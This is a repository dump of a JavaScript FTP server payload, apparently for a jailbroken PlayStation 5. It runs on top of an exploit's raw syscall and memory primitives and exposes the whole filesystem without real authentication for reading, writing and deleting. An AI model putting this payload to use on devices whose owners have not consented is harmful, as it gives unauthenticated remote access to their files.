285 | this.data.mode = CONN.PASSIVE;
286 | const ip = this.serverIp.split(".").map(Number);
287 | const p = sn.port; const p1 = (p >> 8) & 0xFF; const p2 = p & 0xFF;
288 | this.sendCtrl(`227 Entering Passive Mode (${ip[0]},${ip[1]},${ip[2]},${ip[3]},${p1},${p2})\r\n`);
289 | (async () => {
290 | const cfd = accept_blocking(BigInt(this.data.passive.serverFd));
291 | this.data.passive.clientFd = cfd;
292 | dbg(`PASV data conectado fd=${cfd}`);
293 | })();
294 | },
295 |
296 | PORT: async () => {
297 | const m = cmd.match(/^PORT\s+(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)/i);
298 | if (!m) return;
299 | const [_, a,b,c,d,p1,p2] = m;
300 | const host = `${a}.${b}.${c}.${d}`;
301 | const port = ((parseInt(p1,10) << 8) | parseInt(p2,10));
302 | const ds = tcp_connect(host, port);
303 | this.data.active.fd = Number(ds.fd);
304 | this.data.mode = CONN.ACTIVE;
305 | this.sendCtrl("200 PORT command ok\r\n");
306 | },
307 |
308 | LIST: async () => {
309 | const st = stat_path(this.curPath);
310 | if (!st || !is_dir(st.mode)) { this.sendCtrl(`550 Invalid directory. Got ${this.curPath}\r\n`); return; }
311 | const names = readdir_names(this.curPath) || [];
312 | this.sendCtrl("150 Opening ASCII mode data transfer for LIST.\r\n");
313 | const df = await this.ensureDataConn();
314 | for (const name of names) {
315 | const full = normalizePath(this.root, `${this.curPath}/${name}`, this.curPath);
316 | const s = stat_path(full);
317 | if (!s) continue;
318 | const ms = mode_string(s.mode, is_dir(s.mode));
319 | const size = s.size || 0;
320 | const now = new Date();
321 | const mon = MONTHS[now.getUTCMonth()];
322 | const day = String(now.getUTCDate()).padStart(2, "0");
323 | const hour = String(now.getUTCHours()).padStart(2, "0");
324 | const mins = String(now.getUTCMinutes()).padStart(2, "0");
325 | const line = `${ms} 1 ps5 ps5 ${size} ${mon} ${day} ${hour}:${mins} ${name}\r\n`;
326 | this.writeData(df, line);
327 | }
328 | this.closeDataConn();
329 | this.sendCtrl("226 Transfer complete\r\n");
330 | },
331 |
332 | SIZE: async () => {
333 | const st = stat_path(this.curPath);
334 | if (!st || !is_reg(st.mode)) { this.sendCtrl("550 The file doesn't exist\r\n"); return; }
335 | this.sendCtrl(`213 ${st.size || 0}\r\n`);
336 | },
337 |
338 | CWD: async () => {
339 | const m = cmd.match(/^CWD\s+(.+)/i); const target = m && m[1];
340 | if (!target) { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); return; }
341 | let tmp;
342 | if (target === "/") tmp = this.root;
343 | else if (target === "..") tmp = dirname(this.curPath);
344 | else tmp = normalizePath(this.root, target, this.curPath);
345 | const st = stat_path(tmp);
346 | if (!st || !is_dir(st.mode)) { this.sendCtrl("550 Invalid directory.\r\n"); return; }
347 | this.curPath = tmp;
348 | this.sendCtrl("250 Requested file action okay, completed.\r\n");
349 | },
350 |
351 | CDUP: async () => { this.curPath = dirname(this.curPath); this.sendCtrl("200 Command okay\r\n"); },
352 |
353 | RETR: async () => {
354 | const m = cmd.match(/^RETR\s+(.+)/i); const rel = (m && m[1]) || "";
355 | const path = normalizePath(this.root, rel, this.curPath);
356 | dbg(`RETR ${path}`);
357 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
358 | const df = await this.ensureDataConn();
359 | const fd = open_read(path);
360 | if (fd < 0) {
361 | const msg = "File not found. Placeholder payload.\n";
362 | this.writeData(df, msg);
363 | this.closeDataConn();
364 | this.sendCtrl("226 Transfer completed\r\n");
365 | return;
366 | }
367 | if (this.restorePoint > 0) {
368 | let left = this.restorePoint;
369 | while (left > 0) {
370 | const toRead = Math.min(FTP.CHUNK, left);
371 | const n = read_fd(fd, this.buf, toRead);
372 | if (n <= 0) break;
373 | left -= n;
374 | }
375 | }
376 | while (true) {
377 | const n = read_fd(fd, this.buf, FTP.CHUNK);
378 | if (n <= 0) break;
379 | this.writeDataRaw(df, this.buf, n);
380 | }
381 | close_fd(fd);
382 | this.closeDataConn();
383 | this.sendCtrl("226 Transfer completed\r\n");
384 | },
385 |
386 | STOR: async () => {
387 | const m = cmd.match(/^STOR\s+(.+)/i); const rel = (m && m[1]) || "";
388 | const path = normalizePath(this.root, rel, this.curPath);
389 | dbg(`STOR ${path}`);
390 | const df = await this.ensureDataConn();
391 | const fd = open_write(path, { create: true, append: this.restorePoint >= 0, truncate: this.restorePoint < 0 });
392 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; }
393 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
394 | while (true) {
395 | const n = this.readData(df, this.buf, FTP.CHUNK);
396 | if (n <= 0) break;
397 | const w = write_fd(fd, this.buf, n);
398 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; }
399 | }
400 | close_fd(fd);
401 | this.closeDataConn();
402 | this.sendCtrl("226 Transfer completed\r\n");
403 | },
404 |
405 | APPE: async () => {
406 | const m = cmd.match(/^APPE\s+(.+)/i); const rel = (m && m[1]) || "";
407 | const path = normalizePath(this.root, rel, this.curPath);
408 | dbg(`APPE ${path}`);
409 | this.restorePoint = -1;
410 | const df = await this.ensureDataConn();
411 | const fd = open_write(path, { create: true, append: true, truncate: false });
412 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; }
413 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
414 | while (true) {
415 | const n = this.readData(df, this.buf, FTP.CHUNK);
416 | if (n <= 0) break;
417 | const w = write_fd(fd, this.buf, n);
418 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; }
419 | }
420 | close_fd(fd);
421 | this.closeDataConn();
422 | this.sendCtrl("226 Transfer completed\r\n");
423 | },
424 |
425 | REST: async () => {
426 | const m = cmd.match(/^REST\s+(\d+)/i);
427 | const off = m ? parseInt(m[1], 10) : -1;
428 | this.restorePoint = off;
429 | dbg(`REST ${off}`);
430 | this.sendCtrl(`350 Resuming at ${off}\r\n`);
431 | },
432 |
433 | MKD: async () => {
434 | const m = cmd.match(/^MKD\s+(.+)/i); const rel = (m && m[1]) || "";
435 | const path = normalizePath(this.root, rel, this.curPath);
436 | dbg(`MKD ${path}`);
437 | const p = alloc_string(path);
438 | const r = syscall(SYSCALL.mkdir, p, BigInt(parseInt("0755", 8)));
439 | if (Number(r) < 0) this.sendCtrl("501 Syntax error. Not privileged.\r\n");
440 | else this.sendCtrl(`257 "${rel}" created.\r\n`);
441 | },
442 |
443 | RMD: async () => {
444 | const m = cmd.match(/^RMD\s+(.+)/i); const rel = (m && m[1]) || "";
445 | const path = normalizePath(this.root, rel, this.curPath);
446 | dbg(`RMD ${path}`);
447 | const p = alloc_string(path);
448 | const r = syscall(SYSCALL.rmdir, p);
449 | if (Number(r) < 0) this.sendCtrl("550 Directory not found or permission denied\r\n");
450 | else this.sendCtrl(`250 "${rel}" has been removed\r\n`);
451 | },
452 |
453 | DELE: async () => {
454 | const m = cmd.match(/^DELE\s+(.+)/i); const rel = (m && m[1]) || "";
455 | const path = normalizePath(this.root, rel, this.curPath);
456 | dbg(`DELE ${path}`);
457 | const p = alloc_string(path);
458 | const r = syscall(SYSCALL.unlink, p);
459 | if (Number(r) < 0) this.sendCtrl("550 Could not delete the file\r\n");
460 | else this.sendCtrl("226 File deleted\r\n");
461 | },
462 |
463 | RNFR: async () => {
464 | const m = cmd.match(/^RNFR\s+(.+)/i); const rel = (m && m[1]) || "";
465 | const path = normalizePath(this.root, rel, this.curPath);
466 | dbg(`RNFR ${path}`);
467 | const st = stat_path(path);
468 | if (st) { this.renameFrom = rel; this.sendCtrl("350 Remembered filename\r\n"); }
469 | else this.sendCtrl("550 The file doesn't exist\r\n");
470 | },
471 |
472 | RNTO: async () => {
473 | const m = cmd.match(/^RNTO\s+(.+)/i); const relNew = (m && m[1]) || "";
474 | const oldPath = normalizePath(this.root, this.renameFrom, this.curPath);
475 | const newPath = normalizePath(this.root, relNew, this.curPath);
476 | dbg(`RNTO\n${oldPath}\n${newPath}`);
477 | const po = alloc_string(oldPath), pn = alloc_string(newPath);
478 | const r = syscall(SYSCALL.rename, po, pn);
479 | if (Number(r) < 0) this.sendCtrl("550 Error renaming file\r\n");
480 | else this.sendCtrl("226 Renamed file\r\n");
481 | },
482 |
483 | SITE: async () => { this.sendCtrl("550 Syntax error, command unrecognized\r\n"); },
484 |
485 | QUIT: async () => { this.sendCtrl("221 Goodbye\r\n"); return true; }
486 | };
487 |
488 | const h = handlers[op] || (async () => { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); dbg(`No implementado: ${cmd}`); });
489 | return await h();
490 | }
491 |
492 | async ensureDataConn() {
493 | if (this.data.mode === CONN.ACTIVE) return this.data.active.fd;
494 | if (this.data.mode === CONN.PASSIVE) {
495 | let tries = 0;
496 | while (this.data.passive.clientFd < 0 && tries++ < 500) {
497 | await new Promise(res => nrdp.setTimeout(res, 10));
498 | }
499 | return this.data.passive.clientFd;
500 | }
501 | throw new Error("Sin conexión de datos");
502 | }
503 |
504 | writeData(fd, str) { const s = alloc_string(str); write_fd(fd, s, str.length); }
505 | writeDataRaw(fd, bufAddr, len) { write_fd(fd, bufAddr, len); }
506 | readData(fd, bufAddr, len) { return read_fd(fd, bufAddr, len); }
507 |
508 | closeDataConn() {
509 | try {
510 | if (this.data.mode === CONN.ACTIVE && this.data.active.fd >= 0) { close_fd(this.data.active.fd); this.data.active.fd = -1; }
511 | else if (this.data.mode === CONN.PASSIVE) {
512 | if (this.data.passive.clientFd >= 0) { close_fd(this.data.passive.clientFd); this.data.passive.clientFd = -1; }
513 | if (this.data.passive.serverFd >= 0) { close_fd(this.data.passive.serverFd); this.data.passive.serverFd = -1; }
514 | }
515 | } catch (_) {}
516 | this.data.mode = CONN.NONE;
517 | }
518 |
519 | cleanup() {
520 | try { this.closeDataConn(); } catch (_) {}
521 | try { if (this.ctrl.clientFd >= 0) close_fd(this.ctrl.clientFd); } catch (_) {}
522 | try { if (this.ctrl.serverFd >= 0) close_fd(this.ctrl.serverFd); } catch (_) {}
523 | notify("FTP Server closed");
524 | dbg("FTP cerrado");
525 | }
526 | }
527 |
528 | // ===== IP actual =====
529 | function get_current_ip_safe() {
530 | const ip = get_current_ip();
531 | if (!ip || ip === "0.0.0.0") throw new Error("Sin red disponible");
532 | return ip;
533 | }
534 |
535 | // ===== Bootstrap =====
536 | (function main_ftp() {
537 | try {
538 | logger.init();
539 | FTP.SERVER_IP = get_current_ip_safe();
540 | const srv = new FTPServer(FTP.SERVER_IP, FTP.CTRL_PORT, FTP.ROOT_PATH);
541 | dbg(`Iniciando FTP (deseado ${FTP.CTRL_PORT}) en ${FTP.SERVER_IP}`);
542 | srv.start();
543 | notify(`FTP listo en ${FTP.SERVER_IP}:${FTP.CTRL_PORT}`);
544 | } catch (e) {
545 | dbg("ERROR FTP: " + e.message);
546 | }
547 | })();
548 |
549 |
--------------------------------------------------------------------------------
/payloads/ftpserver.js:
--------------------------------------------------------------------------------
1 | // ===== Configuración =====
2 | const FTP = {
3 | SERVER_IP: null,
4 | CTRL_PORT: 1337, // deseado
5 | ROOT_PATH: "/",
6 | CHUNK: 8192,
7 | DEBUG: true
8 | };
9 |
10 | function dbg(msg) { try { logger.log("[FTP] " + msg); } catch (_) {} }
11 | function notify(msg) { try { send_notification(msg); } catch (_) {} }
12 |
13 | // ===== Extiende SYSCALL con números del payload Lua =====
14 | // Si ya existen en tu objeto SYSCALL, estos complementan lo faltante.
15 | if (!globalThis.SYSCALL) globalThis.SYSCALL = {};
16 | Object.assign(SYSCALL, {
17 | // ya presentes en tu exploit:
18 | read: SYSCALL.read ?? 0x3n,
19 | write: SYSCALL.write ?? 0x4n,
20 | open: SYSCALL.open ?? 0x5n,
21 | close: SYSCALL.close ?? 0x6n,
22 | getsockname: SYSCALL.getsockname ?? 0x20n,
23 | accept: SYSCALL.accept ?? 0x1en,
24 | socket: SYSCALL.socket ?? 0x61n,
25 | connect: SYSCALL.connect ?? 0x62n,
26 | bind: SYSCALL.bind ?? 0x68n,
27 | setsockopt: SYSCALL.setsockopt ?? 0x69n,
28 | listen: SYSCALL.listen ?? 0x6an,
29 | netgetiflist: SYSCALL.netgetiflist ?? 0x7dn,
30 | // añadidos de Lua:
31 | stat: SYSCALL.stat ?? 0xBCn, // 188
32 | getdents: SYSCALL.getdents ?? 0x110n, // 272
33 | mkdir: SYSCALL.mkdir ?? 0x88n, // 136
34 | rmdir: SYSCALL.rmdir ?? 0x89n, // 137
35 | rename: SYSCALL.rename ?? 0x80n, // 128
36 | unlink: SYSCALL.unlink ?? 0xAn, // 10
37 | lseek: SYSCALL.lseek ?? 0x1DEn // 478
38 | });
39 |
40 | // ===== Constantes =====
41 | const AF_INET = 2n;
42 | const SOCK_STREAM = 1n;
43 | const SOL_SOCKET = 0xffffn;
44 | const SO_REUSEADDR = 4n;
45 | const O_RDONLY = 0n, O_RDWR = 2n, O_CREAT = 0x100n, O_TRUNC = 0x1000n, O_APPEND = 0x2000n;
46 |
47 | // ===== Helpers =====
48 | function htons(n) { return ((n & 0xFF) << 8) | ((n >> 8) & 0xFF); }
49 | function joinPath(a, b) { return a.endsWith("/") ? a + b : a + "/" + b; }
50 | function dirname(p) { if (p === "/") return "/"; const parts = p.split("/").filter(Boolean); parts.pop(); return parts.length ? "/" + parts.join("/") : "/"; }
51 | function normalizePath(root, input, curPath) {
52 | const sep = "/";
53 | let raw;
54 | if (!input || input === "/") raw = root;
55 | else if (input.startsWith(sep)) raw = input;
56 | else raw = curPath === "/" ? joinPath(root, input) : joinPath(curPath, input);
57 | const parts = raw.split("/").filter(Boolean);
58 | const out = [];
59 | for (const p of parts) { if (p === ".") continue; if (p === "..") { if (out.length) out.pop(); continue; } out.push(p); }
60 | const normalized = sep + out.join("/");
61 | const rootNorm = root === "/" ? "/" : root;
62 | if (!normalized.startsWith(rootNorm)) return rootNorm;
63 | return normalized;
64 | }
65 | const MONTHS = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
66 |
67 | // ===== Syscalls de red =====
68 | function create_tcp_server_force(portWanted) {
69 | const sockaddr = malloc(16);
70 | const opt = malloc(4);
71 | write32_uncompressed(opt, 1);
72 |
73 | const fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
74 | if (Number(fd) < 0) throw new Error("socket() falló");
75 |
76 | // Intento 1: puerto deseado
77 | write8_uncompressed(sockaddr + 1n, AF_INET);
78 | write16_uncompressed(sockaddr + 2n, htons(portWanted));
79 | write32_uncompressed(sockaddr + 4n, 0); // INADDR_ANY
80 | syscall(SYSCALL.setsockopt, fd, SOL_SOCKET, SO_REUSEADDR, opt, 4n);
81 |
82 | let br = syscall(SYSCALL.bind, fd, sockaddr, 16n);
83 | if (Number(br) < 0) {
84 | dbg(`bind(${portWanted}) falló, reintentando con puerto 0`);
85 | // Intento 2: puerto aleatorio
86 | write16_uncompressed(sockaddr + 2n, 0);
87 | br = syscall(SYSCALL.bind, fd, sockaddr, 16n);
88 | if (Number(br) < 0) { syscall(SYSCALL.close, fd); throw new Error("bind() falló"); }
89 | }
90 |
91 | const lr = syscall(SYSCALL.listen, fd, 128n);
92 | if (Number(lr) < 0) { syscall(SYSCALL.close, fd); throw new Error("listen() falló"); }
93 |
94 | return { fd, sockaddr };
95 | }
96 |
97 | function getsockname(fd) {
98 | const addr = malloc(16);
99 | const lenp = malloc(8);
100 | write32_uncompressed(lenp, 16);
101 | syscall(SYSCALL.getsockname, fd, addr, lenp);
102 | const port_be = read16_uncompressed(addr + 2n);
103 | const p = Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn));
104 | return { addr, port: p };
105 | }
106 |
107 | function accept_blocking(serverFd) {
108 | const addr = malloc(16);
109 | const lenp = malloc(8);
110 | write32_uncompressed(lenp, 16);
111 | const cfd = syscall(SYSCALL.accept, serverFd, addr, lenp);
112 | return Number(cfd);
113 | }
114 |
115 | function tcp_connect(host, port) {
116 | const saddr = malloc(16);
117 | const cfd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
118 | if (Number(cfd) < 0) throw new Error("socket() connect falló");
119 |
120 | const [a,b,c,d] = host.split(".").map(x => Number(x));
121 | const ip32 = (a << 24) | (b << 16) | (c << 8) | d;
122 |
123 | write8_uncompressed(saddr + 1n, AF_INET);
124 | write16_uncompressed(saddr + 2n, htons(port));
125 | write32_uncompressed(saddr + 4n, ip32);
126 |
127 | const rr = syscall(SYSCALL.connect, cfd, saddr, 16n);
128 | if (Number(rr) < 0) { syscall(SYSCALL.close, cfd); throw new Error("connect() falló"); }
129 | return { fd: cfd, sockaddr: saddr };
130 | }
131 |
132 | // ===== FS =====
133 | function open_read(path) { const p = alloc_string(path); const fd = syscall(SYSCALL.open, p, O_RDONLY); return Number(fd); }
134 | function open_write(path, { create, append, truncate }) {
135 | let flags = O_RDWR;
136 | if (create) flags |= O_CREAT;
137 | if (append) flags |= O_APPEND;
138 | if (truncate) flags |= O_TRUNC;
139 | const p = alloc_string(path);
140 | const fd = syscall(SYSCALL.open, p, flags);
141 | return Number(fd);
142 | }
143 | function close_fd(fd) { syscall(SYSCALL.close, BigInt(fd)); }
144 | function read_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.read, BigInt(fd), bufAddr, BigInt(len)); return Number(r); }
145 | function write_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.write, BigInt(fd), bufAddr, BigInt(len)); return Number(r); }
146 |
147 | function stat_path(path) {
148 | const st = malloc(120);
149 | const p = alloc_string(path);
150 | const ret = syscall(SYSCALL.stat, p, st);
151 | if (Number(ret) < 0) return null;
152 | const mode = Number(read16_uncompressed(st + 8n));
153 | const size = Number(read32_uncompressed(st + 72n)) | (Number(read32_uncompressed(st + 76n)) << 32);
154 | return { st, mode, size };
155 | }
156 | function is_dir(mode) { return (mode & parseInt("040000", 8)) === parseInt("040000", 8); }
157 | function is_reg(mode) { return (mode & parseInt("0100000", 8)) === parseInt("0100000", 8); }
158 |
159 | function readdir_names(dirPath) {
160 | const fd = open_read(dirPath);
161 | if (fd < 0) return null;
162 | const buf = malloc(4096);
163 | const names = [];
164 | while (true) {
165 | const nread = syscall(SYSCALL.getdents, BigInt(fd), buf, 4096n);
166 | const n = Number(nread);
167 | if (n <= 0) break;
168 | let entry = buf;
169 | const end = buf + BigInt(n);
170 | while (entry < end) {
171 | const length = Number(read8_uncompressed(entry + 4n));
172 | if (length === 0) break;
173 | let name = "";
174 | for (let i = 0; i < 256; i++) {
175 | const c = Number(read8_uncompressed(entry + 8n + BigInt(i)));
176 | if (c === 0) break;
177 | name += String.fromCharCode(c);
178 | }
179 | if (name && name !== "." && name !== "..") names.push(name);
180 | entry = entry + BigInt(length);
181 | }
182 | }
183 | close_fd(fd);
184 | return names;
185 | }
186 |
187 | function mode_string(mode, isDirFlag) {
188 | const tri = v => ((v & 4) ? "r" : "-") + ((v & 2) ? "w" : "-") + ((v & 1) ? (isDirFlag ? "s" : "x") : (isDirFlag ? "S" : "-"));
189 | const u = (mode >> 6) & 7, g = (mode >> 3) & 7, o = mode & 7;
190 | return (isDirFlag ? "d" : "-") + tri(u) + tri(g) + tri(o);
191 | }
192 |
193 | // ===== Estado =====
194 | const CONN = { NONE: "none", ACTIVE: "active", PASSIVE: "passive" };
195 |
196 | class FTPServer {
197 | constructor(ip, port, root) {
198 | this.serverIp = ip;
199 | this.ctrlPortWanted = port;
200 | this.root = root;
201 | this.ctrl = { serverFd: -1, clientFd: -1, portActual: -1 };
202 | this.data = { mode: CONN.NONE, active: { fd: -1 }, passive: { serverFd: -1, port: 0, clientFd: -1 } };
203 | this.curPath = root;
204 | this.transferType = "I";
205 | this.restorePoint = -1;
206 | this.renameFrom = "";
207 | this.buf = malloc(FTP.CHUNK);
208 | }
209 |
210 | start() {
211 | const srv = create_tcp_server_force(this.ctrlPortWanted);
212 | this.ctrl.serverFd = Number(srv.fd);
213 | const sn = getsockname(srv.fd);
214 | this.ctrl.portActual = sn.port;
215 |
216 | notify(`FTP control escuchando en ${this.serverIp}:${this.ctrl.portActual}`);
217 | dbg(`CTRL deseado=${this.ctrlPortWanted} actual=${this.ctrl.portActual}`);
218 |
219 | (async () => {
220 | while (true) {
221 | await new Promise(res => nrdp.setTimeout(res, 10));
222 | const cfd = accept_blocking(BigInt(this.ctrl.serverFd));
223 | if (cfd >= 0) {
224 | this.ctrl.clientFd = cfd;
225 | dbg(`Cliente control conectado fd=${cfd}`);
226 | this.sendCtrl("220 JS FTP Server\r\n");
227 | this.controlLoop();
228 | break;
229 | }
230 | }
231 | })();
232 | }
233 |
234 | sendCtrl(s) {
235 | const msg = alloc_string(s);
236 | write_fd(this.ctrl.clientFd, msg, s.length);
237 | }
238 |
239 | recvLine() {
240 | const lineBuf = [];
241 | while (true) {
242 | const n = read_fd(this.ctrl.clientFd, this.buf, 1);
243 | if (n <= 0) return null;
244 | const ch = Number(read8_uncompressed(this.buf));
245 | lineBuf.push(ch);
246 | const L = lineBuf.length;
247 | if (L >= 2 && lineBuf[L-2] === 13 && lineBuf[L-1] === 10) {
248 | return String.fromCharCode(...lineBuf.slice(0, -2));
249 | }
250 | }
251 | }
252 |
253 | async controlLoop() {
254 | while (true) {
255 | const line = this.recvLine();
256 | if (line === null) break;
257 | const cmd = line.trim();
258 | dbg(`CMD: ${cmd}`);
259 | const op = cmd.split(" ")[0].toUpperCase();
260 | if (await this.dispatch(op, cmd)) break;
261 | }
262 | this.cleanup();
263 | }
264 |
265 | async dispatch(op, cmd) {
266 | const handlers = {
267 | USER: async () => this.sendCtrl("331 Anonymous login accepted, send your email as password\r\n"),
268 | PASS: async () => this.sendCtrl("230 User logged in\r\n"),
269 | NOOP: async () => this.sendCtrl("200 No operation\r\n"),
270 | PWD: async () => this.sendCtrl(`257 "${this.curPath}" is the current directory\r\n`),
271 | TYPE: async () => {
272 | const m = cmd.match(/^TYPE\s+(.+)/i); const t = m && m[1];
273 | if (t === "I") { this.transferType = "I"; this.sendCtrl("200 Switching to Binary mode\r\n"); }
274 | else if (t === "A") { this.transferType = "A"; this.sendCtrl("200 Switching to ASCII mode\r\n"); }
275 | else this.sendCtrl("504 Command not implemented for that parameter\r\n");
276 | },
277 | SYST: async () => this.sendCtrl("215 UNIX Type: L8\r\n"),
278 | FEAT: async () => { this.sendCtrl("211-extensions\r\n"); this.sendCtrl("REST STREAM\r\n"); this.sendCtrl("211 end\r\n"); },
279 |
280 | PASV: async () => {
281 | const pasv = create_tcp_server_force(0); // puerto aleatorio
282 | this.data.passive.serverFd = Number(pasv.fd);
283 | const sn = getsockname(pasv.fd);
284 | this.data.passive.port = sn.port;
285 | this.data.mode = CONN.PASSIVE;
286 | const ip = this.serverIp.split(".").map(Number);
287 | const p = sn.port; const p1 = (p >> 8) & 0xFF; const p2 = p & 0xFF;
288 | this.sendCtrl(`227 Entering Passive Mode (${ip[0]},${ip[1]},${ip[2]},${ip[3]},${p1},${p2})\r\n`);
289 | (async () => {
290 | const cfd = accept_blocking(BigInt(this.data.passive.serverFd));
291 | this.data.passive.clientFd = cfd;
292 | dbg(`PASV data conectado fd=${cfd}`);
293 | })();
294 | },
295 |
296 | PORT: async () => {
297 | const m = cmd.match(/^PORT\s+(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)/i);
298 | if (!m) return;
299 | const [_, a,b,c,d,p1,p2] = m;
300 | const host = `${a}.${b}.${c}.${d}`;
301 | const port = ((parseInt(p1,10) << 8) | parseInt(p2,10));
302 | const ds = tcp_connect(host, port);
303 | this.data.active.fd = Number(ds.fd);
304 | this.data.mode = CONN.ACTIVE;
305 | this.sendCtrl("200 PORT command ok\r\n");
306 | },
307 |
308 | LIST: async () => {
309 | const st = stat_path(this.curPath);
310 | if (!st || !is_dir(st.mode)) { this.sendCtrl(`550 Invalid directory. Got ${this.curPath}\r\n`); return; }
311 | const names = readdir_names(this.curPath) || [];
312 | this.sendCtrl("150 Opening ASCII mode data transfer for LIST.\r\n");
313 | const df = await this.ensureDataConn();
314 | for (const name of names) {
315 | const full = normalizePath(this.root, `${this.curPath}/${name}`, this.curPath);
316 | const s = stat_path(full);
317 | if (!s) continue;
318 | const ms = mode_string(s.mode, is_dir(s.mode));
319 | const size = s.size || 0;
320 | const now = new Date();
321 | const mon = MONTHS[now.getUTCMonth()];
322 | const day = String(now.getUTCDate()).padStart(2, "0");
323 | const hour = String(now.getUTCHours()).padStart(2, "0");
324 | const mins = String(now.getUTCMinutes()).padStart(2, "0");
325 | const line = `${ms} 1 ps5 ps5 ${size} ${mon} ${day} ${hour}:${mins} ${name}\r\n`;
326 | this.writeData(df, line);
327 | }
328 | this.closeDataConn();
329 | this.sendCtrl("226 Transfer complete\r\n");
330 | },
331 |
332 | SIZE: async () => {
333 | const st = stat_path(this.curPath);
334 | if (!st || !is_reg(st.mode)) { this.sendCtrl("550 The file doesn't exist\r\n"); return; }
335 | this.sendCtrl(`213 ${st.size || 0}\r\n`);
336 | },
337 |
338 | CWD: async () => {
339 | const m = cmd.match(/^CWD\s+(.+)/i); const target = m && m[1];
340 | if (!target) { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); return; }
341 | let tmp;
342 | if (target === "/") tmp = this.root;
343 | else if (target === "..") tmp = dirname(this.curPath);
344 | else tmp = normalizePath(this.root, target, this.curPath);
345 | const st = stat_path(tmp);
346 | if (!st || !is_dir(st.mode)) { this.sendCtrl("550 Invalid directory.\r\n"); return; }
347 | this.curPath = tmp;
348 | this.sendCtrl("250 Requested file action okay, completed.\r\n");
349 | },
350 |
351 | CDUP: async () => { this.curPath = dirname(this.curPath); this.sendCtrl("200 Command okay\r\n"); },
352 |
353 | RETR: async () => {
354 | const m = cmd.match(/^RETR\s+(.+)/i); const rel = (m && m[1]) || "";
355 | const path = normalizePath(this.root, rel, this.curPath);
356 | dbg(`RETR ${path}`);
357 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
358 | const df = await this.ensureDataConn();
359 | const fd = open_read(path);
360 | if (fd < 0) {
361 | const msg = "File not found. Placeholder payload.\n";
362 | this.writeData(df, msg);
363 | this.closeDataConn();
364 | this.sendCtrl("226 Transfer completed\r\n");
365 | return;
366 | }
367 | if (this.restorePoint > 0) {
368 | let left = this.restorePoint;
369 | while (left > 0) {
370 | const toRead = Math.min(FTP.CHUNK, left);
371 | const n = read_fd(fd, this.buf, toRead);
372 | if (n <= 0) break;
373 | left -= n;
374 | }
375 | }
376 | while (true) {
377 | const n = read_fd(fd, this.buf, FTP.CHUNK);
378 | if (n <= 0) break;
379 | this.writeDataRaw(df, this.buf, n);
380 | }
381 | close_fd(fd);
382 | this.closeDataConn();
383 | this.sendCtrl("226 Transfer completed\r\n");
384 | },
385 |
386 | STOR: async () => {
387 | const m = cmd.match(/^STOR\s+(.+)/i); const rel = (m && m[1]) || "";
388 | const path = normalizePath(this.root, rel, this.curPath);
389 | dbg(`STOR ${path}`);
390 | const df = await this.ensureDataConn();
391 | const fd = open_write(path, { create: true, append: this.restorePoint >= 0, truncate: this.restorePoint < 0 });
392 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; }
393 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
394 | while (true) {
395 | const n = this.readData(df, this.buf, FTP.CHUNK);
396 | if (n <= 0) break;
397 | const w = write_fd(fd, this.buf, n);
398 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; }
399 | }
400 | close_fd(fd);
401 | this.closeDataConn();
402 | this.sendCtrl("226 Transfer completed\r\n");
403 | },
404 |
405 | APPE: async () => {
406 | const m = cmd.match(/^APPE\s+(.+)/i); const rel = (m && m[1]) || "";
407 | const path = normalizePath(this.root, rel, this.curPath);
408 | dbg(`APPE ${path}`);
409 | this.restorePoint = -1;
410 | const df = await this.ensureDataConn();
411 | const fd = open_write(path, { create: true, append: true, truncate: false });
412 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; }
413 | this.sendCtrl("150 Opening Image mode data transfer\r\n");
414 | while (true) {
415 | const n = this.readData(df, this.buf, FTP.CHUNK);
416 | if (n <= 0) break;
417 | const w = write_fd(fd, this.buf, n);
418 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; }
419 | }
420 | close_fd(fd);
421 | this.closeDataConn();
422 | this.sendCtrl("226 Transfer completed\r\n");
423 | },
424 |
425 | REST: async () => {
426 | const m = cmd.match(/^REST\s+(\d+)/i);
427 | const off = m ? parseInt(m[1], 10) : -1;
428 | this.restorePoint = off;
429 | dbg(`REST ${off}`);
430 | this.sendCtrl(`350 Resuming at ${off}\r\n`);
431 | },
432 |
433 | MKD: async () => {
434 | const m = cmd.match(/^MKD\s+(.+)/i); const rel = (m && m[1]) || "";
435 | const path = normalizePath(this.root, rel, this.curPath);
436 | dbg(`MKD ${path}`);
437 | const p = alloc_string(path);
438 | const r = syscall(SYSCALL.mkdir, p, BigInt(parseInt("0755", 8)));
439 | if (Number(r) < 0) this.sendCtrl("501 Syntax error. Not privileged.\r\n");
440 | else this.sendCtrl(`257 "${rel}" created.\r\n`);
441 | },
442 |
443 | RMD: async () => {
444 | const m = cmd.match(/^RMD\s+(.+)/i); const rel = (m && m[1]) || "";
445 | const path = normalizePath(this.root, rel, this.curPath);
446 | dbg(`RMD ${path}`);
447 | const p = alloc_string(path);
448 | const r = syscall(SYSCALL.rmdir, p);
449 | if (Number(r) < 0) this.sendCtrl("550 Directory not found or permission denied\r\n");
450 | else this.sendCtrl(`250 "${rel}" has been removed\r\n`);
451 | },
452 |
453 | DELE: async () => {
454 | const m = cmd.match(/^DELE\s+(.+)/i); const rel = (m && m[1]) || "";
